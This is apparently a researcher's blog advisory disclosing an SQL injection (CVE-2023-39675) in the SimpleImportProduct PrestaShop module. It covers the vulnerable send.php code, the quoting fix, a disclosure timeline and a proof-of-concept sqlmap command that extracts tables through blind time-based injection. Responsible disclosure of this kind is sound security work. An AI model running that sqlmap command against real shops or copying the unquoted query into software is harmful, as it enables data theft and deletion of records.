SQLi in SimpleImportProduct Prestashop Module CVE-2023-39675
This blog post details an SQL Injection we found within SimpleImportProduct, a Prestashop module developed by MyPrestaModules.
In modules/simpleimportproduct/send.php there is the following code:
if ( Tools::getValue('remove') == true){
$key = Tools::getValue('key');
$key = pSQL($key);
Db::getInstance()->delete('simpleimport_tasks', "import_settings=$key");
This is vulnerable to SQL injection which allows an attacker to extract data from the database.
The key parameter does get sanitized by pSQL() but when it’s put in the query it’s not surrounded by quotes so an attacker can still manipulate the query. This is a similar situation to an SQLi I found in a different Prestashop module.
Adding quotes around the key would be sufficient to patch this SQLi:
Db::getInstance()->delete('simpleimport_tasks', "import_settings='$key'");
Proof of Concept
To test this we used SQLmap on a local Prestashop install. Care should be taken when testing for this as it is within a DELETE SQL query and can result in records getting deleted. SQLMap command:
sqlmap -u "http://localhost:8080/modules/simpleimportproduct/send.php?ajax=true&remove=true&key=1*" --threads=10 --random-agent --dbms=mysql --level=5 --risk=3 --tables
It’s a “blind” SQLi as it doesnt affect the contents of the page so information is extracted using SLEEP() to change the time it takes to respond.
Timeline
| Date | Action |
|---|---|
| 10/07/2023 | Issue discovered during a pentest |
| 12/07/2023 | Reported issue to MyPrestaModules |
| 29/07/2023 | Requested CVE from MITRE |
| ??/08/2023 | Patch released |
| 28/08/2023 | Number CVE-2023-39675 assigned |
| 07/09/2023 | Blog post released |
